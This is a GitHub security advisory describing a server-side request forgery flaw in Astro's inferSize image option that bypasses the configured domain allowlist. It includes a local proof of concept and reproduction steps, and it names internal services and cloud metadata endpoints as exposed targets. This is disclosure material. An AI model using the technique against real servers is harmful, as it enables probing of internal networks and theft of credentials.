GitHub Security Advisory: GHSA-cj9f-h6r6-4cx2
Package: @astrojs/node (NPM)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: >= 9.0.0, < 9.5.4
Patched in: 9.5.4

Summary: Astro is vulnerable to SSRF due to missing allowlist enforcement in remote image inferSize

Details:
## Summary

A bug in Astro's image pipeline allows bypassing `image.domains` / `image.remotePatterns` restrictions, enabling the server to fetch content from unauthorized remote hosts.

## Details

Astro provides an `inferSize` option that fetches remote images at render time to determine their dimensions. Remote image fetches are intended to be restricted to domains the site developer has manually authorized (using the `image.domains` or `image.remotePatterns` options).

However, when `inferSize` is used, no domain validation is performed — the image is fetched from any host regardless of the configured restrictions. An attacker who can influence the image URL (e.g., via CMS content or user-supplied data) can cause the server to fetch from arbitrary hosts.

## PoC

<details>

### Setup

Create a new Astro project with the following files:

`package.json`:
```json
{
  "name": "poc-ssrf-infersize",
  "private": true,
  "scripts": {
    "dev": "astro dev --port 4322",
    "build": "astro build"
  },
  "dependencies": {
    "astro": "5.17.2",
    "@astrojs/node": "9.5.3"
  }
}
```

`astro.config.mjs` — only `localhost:9000` is authorized:
```javascript
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  image: {
    remotePatterns: [
      { hostname: 'localhost', port: '9000' }
    ]
  }
});
```

`internal-service.mjs` — simulates an internal service on a non-allowlisted host (`127.0.0.1:8888`):
```javascript
import { createServer } from 'node:http';
const GIF = Buffer.from('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==', 'base64');
createServer((req, res) => {
  console.log(`[INTERNAL] Received: ${req.method} ${req.url}`);
  res.writeHead(200, { 'Content-Type': 'image/gif', 'Content-Length': GIF.length });
  res.end(GIF);
}).listen(8888, '127.0.0.1', () => console.log('Internal service on 127.0.0.1:8888'));
```

`src/pages/test.astro`:
```astro
---
import { getImage } from 'astro:assets';

const result = await getImage({
  src: 'http://127.0.0.1:8888/internal-api',
  inferSize: true,
  alt: 'test'
});
---
<html><body>
  <p>Width: {result.options.width}, Height: {result.options.height}</p>
</body></html>
```

### Steps to reproduce

1. Run `npm install` and start the internal service:

```bash
node internal-service.mjs
```

2. Start the dev server:

```bash
npm run dev
```

3. Request the page:

```bash
curl http://localhost:4322/test
```

4. `internal-service.mjs` logs `Received: GET /internal-api` — the request was sent to `127.0.0.1:8888` despite only `localhost:9000` being in the allowlist.

</details>

## Impact

Allows bypassing `image.domains` / `image.remotePatterns` restrictions to make server-side requests to unauthorized hosts. This includes the risk of server-side request forgery (SSRF) against internal network services and cloud metadata endpoints.